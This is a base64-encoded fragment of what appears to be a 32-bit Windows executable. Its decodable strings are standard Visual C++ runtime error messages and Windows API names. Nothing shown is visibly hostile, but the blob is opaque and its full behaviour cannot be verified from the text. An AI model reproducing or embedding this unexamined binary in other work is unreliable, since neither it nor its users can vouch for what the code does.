1Yz21eL8TkdjCpBAHU4U1Mz/0dXaCzqQABoAAEAAFP/FSThQACFwHQIiT2MKkEA6xX/FRjgQACD+Hh1CscFjCpBAAIAAAA5XRR+IotNFItFEEk4GHQIQDvLdfaDyf+LRRQrwUg7RRR9AUCJRRShjCpBAIP4Ag+ErAEAADvDD4SkAQAAg/gBD4XMAQAAiV34OV0gdQiLBotABIlFIIs1ZOBAADPAOV0kU1P/dRQPlcD/dRCNBMUBAAAAUP91IP/Wi/g7+w+EjwEAAH5DauAz0lj394P4AnI3jUQ/CD0ABAAAdxPo7BoAAIvEO8N0HMcAzMwAAOsRUOi9CwAAWTvDdAnHAN3dAACDwAiJRfTrA4ld9Dld9A+EPgEAAFf/dfT/dRT/dRBqAf91IP/WhcAPhOMAAACLNSThQABTU1f/dfT/dQz/dQj/1ovIiU34O8sPhMIAAAD3RQwABAAAdCk5XRwPhLAAAAA7TRwPj6cAAAD/dRz/dRhX/3X0/3UM/3UI/9bpkAAAADvLfkVq4DPSWPfxg/gCcjmNRAkIPQAEAAB3FugtGgAAi/Q783RqxwbMzAAAg8YI6xpQ6PsKAABZO8N0CccA3d0AAIPACIvw6wIz9jvzdEH/dfhWV/919P91DP91CP8VJOFAAIXAdCJTUzldHHUEU1PrBv91HP91GP91+FZT/3Ug/xVw4EAAiUX4Vui3/f//Wf919Oiu/f//i0X4WelZAQAAiV30iV3wOV0IdQiLBotAFIlFCDldIHUIiwaLQASJRSD/dQjogxcAAFmJReyD+P91BzPA6SEBAAA7RSAPhNsAAABTU41NFFH/dRBQ/3Ug6KEXAACDxBiJRfQ7w3TUizUg4UAAU1P/dRRQ/3UM/3UI/9aJRfg7w3UHM/bptwAAAH49g/jgdziDwAg9AAQAAHcW6BcZAACL/Dv7dN3HB8zMAACDxwjrGlDo5QkAAFk7w3QJxwDd3QAAg8AIi/jrAjP/O/t0tP91+FNX6D6R//+DxAz/dfhX/3UU/3X0/3UM/3UI/9aJRfg7w3UEM/brJf91HI1F+P91GFBX/3Ug/3Xs6PAWAACL8Il18IPEGPfeG/YjdfhX6Iz8//9Z6xr/dRz/dRj/dRT/dRD/dQz/dQj/FSDhQACL8Dld9HQJ/3X06L6c//9Zi0XwO8N0DDlFGHQHUOirnP//WYvGjWXgX15bi038M83oY2X//8nDi/9Vi+yD7BD/dQiNTfDoV3b///91KI1N8P91JP91IP91HP91GP91FP91EP91DOgo/P//g8QggH38AHQHi034g2Fw/cnDi/9Vi+xRUaEEEEEAM8WJRfyhkCpBAFNWM9tXi/k7w3U6jUX4UDP2RlZoLOpAAFb/FSzhQACFwHQIiTWQKkEA6zT/FRjgQACD+Hh1CmoCWKOQKkEA6wWhkCpBAIP4Ag+EzwAAADvDD4THAAAAg/gBD4XoAAAAiV34OV0YdQiLB4tABIlFGIs1ZOBAADPAOV0gU1P/dRAPlcD/dQyNBMUBAAAAUP91GP/Wi/g7+w+EqwAAAH48gf/w//9/dzSNRD8IPQAEAAB3E+gwFwAAi8Q7w3QcxwDMzAAA6xFQ6AEIAABZO8N0CccA3d0AAIPACIvYhdt0aY0EP1BqAFPoXI///4PEDFdT/3UQ/3UMagH/dRj/1oXAdBH/dRRQU/91CP8VLOFAAIlF+FPoyPr//4tF+FnrdTP2OV0cdQiLB4tAFIlFHDldGHUIiweLQASJRRj/dRzopBQAAFmD+P91BDPA60c7RRh0HlNTjU0QUf91DFD/dRjozBQAAIvwg8QYO/N03Il1DP91FP91EP91DP91CP91HP8VKOFAAIv4O/N0B1borJr//1mLx41l7F9eW4tN/DPN6GRj///Jw4v/VYvsg+wQ/3UIjU3w6Fh0////dSSNTfD/dSD/dRz/dRj/dRT/dRD/dQzoFv7//4PEHIB9/AB0B4tN+INhcP3Jw4v/VYvsVot1CIX2D4SBAQAA/3YE6Dya////dgjoNJr///92DOgsmv///3YQ6CSa////dhToHJr///92GOgUmv///zboDZr///92IOgFmv///3Yk6P2Z////dijo9Zn///92LOjtmf///3Yw6OWZ////djTo3Zn///92HOjVmf///3Y46M2Z////djzoxZn//4PEQP92QOi6mf///3ZE6LKZ////dkjoqpn///92TOiimf///3ZQ6JqZ////dlTokpn///92WOiKmf///3Zc6IKZ////dmDoepn///92ZOhymf///3Zo6GqZ////dmzoYpn///92cOhamf///3Z06FKZ////dnjoSpn///92fOhCmf//g8RA/7aAAAAA6DSZ////toQAAADoKZn///+2iAAAAOgem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/9mjKXA/f//ZoytvP3//5yPhfD9//+LdQSNRQSJhfT9///HhTD9//8BAAEAibXo/f//i0D8alCJheT9//+Nhdj8//9qAFDoTHv//42F2Pz//4PEDImFKP3//42FMP3//2oAx4XY/P//FQAAQIm15Pz//4mFLP3///8VTOBAAI2FKP3//1D/FUjgQABqA+gojP//zGoQaDj+QADolGr//zPAi10IM/873w+VwDvHdR3oYF7//8cAFgAAAFdXV1dX6Ohd//+DxBSDyP/rU4M9hCtBAAN1OGoE6Dq+//9ZiX38U+jG0///WYlF4DvHdAuLc/yD7gmJdeTrA4t15MdF/P7////oJQAAADl94HUQU1f/NaQoQQD/FTDgQACL8IvG6FRq///DM/+LXQiLdeRqBOgIvf//WcOL/1WL7IPsDKEEEEEAM8WJRfxqBo1F9FBoBBAAAP91CMZF+gD/FTDhQACFwHUFg8j/6wqNRfRQ6PEBAABZi038M83o2k7//8nDi/9Vi+yD7DShBBBBADPFiUX8i0UQi00YiUXYi0UUU4lF0IsAVolF3ItFCFcz/4lNzIl94Il91DtFDA+EXwEAAIs15OBAAI1N6FFQ/9aLHWTgQACFwHReg33oAXVYjUXoUP91DP/WhcB0S4N96AF1RYt13MdF1AEAAACD/v91DP912OgBqv//i/BZRjv3fluB/vD//393U41ENgg9AAQAAHcv6BEBAACLxDvHdDjHAMzMAADrLVdX/3Xc/3XYagH/dQj/04vwO/d1wzPA6dEAAABQ6Mbx//9ZO8d0CccA3d0AAIPACIlF5OsDiX3kOX3kdNiNBDZQV/915OgZef//g8QMVv915P913P912GoB/3UI/9OFwHR/i13MO990HVdX/3UcU1b/deRX/3UM/xVw4EAAhcB0YIld4Otbix1w4EAAOX3UdRRXV1dXVv915Ff/dQz/04vwO/d0PFZqAehrqP//WVmJReA7x3QrV1dWUFb/deRX/3UM/9M7x3UO/3Xg6IiE//9ZiX3g6wuDfdz/dAWLTdCJAf915OgT5P//WYtF4I1lwF9eW4tN/DPN6CZN///Jw8zMzMxRjUwkCCvIg+EPA8EbyQvBWenKz///UY1MJAgryIPhBwPBG8kLwVnptM///4v/VYvsagpqAP91COg0AgAAg8QMXcOL/1WL7IPsFFZX/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2F0ZXMgYSBidWcgaW4geW91ciBhcHBsaWNhdGlvbi4NCgAAUjYwMzANCi0gQ1JUIG5vdCBpbml0aWFsaXplZA0KAABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQotIHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBvcGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9yDQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAAUjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANClRoaXMgYXBwbGljYXRpb24gaGFzIHJlcXVlc3RlZCB0aGUgUnVudGltZSB0byB0ZXJtaW5hdGUgaXQgaW4gYW4gdW51c3VhbCB3YXkuClBsZWFzZSBjb250YWN0IHRoZSBhcHBsaWNhdGlvbidzIHN1cHBvcnQgdGVhbSBmb3IgbW9yZSBpbmZvcm1hdGlvbi4NCgAAAFI2MDA5DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGVudmlyb25tZW50DQoAUjYwMDgNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgYXJndW1lbnRzDQoAAABSNjAwMg0KLSBmbG9hdGluZyBwb2ludCBzdXBwb3J0IG5vdCBsb2FkZWQNCgAAAABNaWNyb3NvZnQgVmlzdWFsIEMrKyBSdW50aW1lIExpYnJhcnkAAAAACgoAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AABSdW50aW1lIEVycm9yIQoKUHJvZ3JhbTogAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAAAAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEAAMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAEVuY29kZVBvaW50ZXIAAABLAEUAUgBOAEUATAAzADIALgBEAEwATAAAAAAARGVjb2RlUG9pbnRlcgAAAEZsc0ZyZWUARmxzU2V0VmFsdWUARmxzR2V0VmFsdWUARmxzQWxsb2MAAAAAAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaW1xdXl9gYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXp7fH1+fwAoAG4AdQBsAGwAKQAAAAAAKG51bGwpAAAGAAAGAAEAABAAAwYABgIQBEVFRQUFBQUFNTAAUAAAAAAoIDhQWAcIADcwMFdQBwAAICAIAAAAAAhgaGBgYGAAAHhweHh4eAgHCAAABwAICAgAAAgACAAHCAAAAEdldFByb2Nlc3NXaW5kb3dTdGF0aW9uAEdldFVzZXJPYmplY3RJbmZvcm1hdGlvbkEAAABHZXRMYXN0QWN0aXZlUG9wdXAAAEdldEFjdGl2ZVdpbmRvdwBNZXNzYWdlQm94QQBVU0VSMzIuRExMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAIAAgACAAIAAgACAAIAAgACgAKAAoACgAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACEAIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAIEAgQCBAIEAgQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAEAAQABAAEAAQABAAggCCAIIAggCCAIIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACABAAEAAQABAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA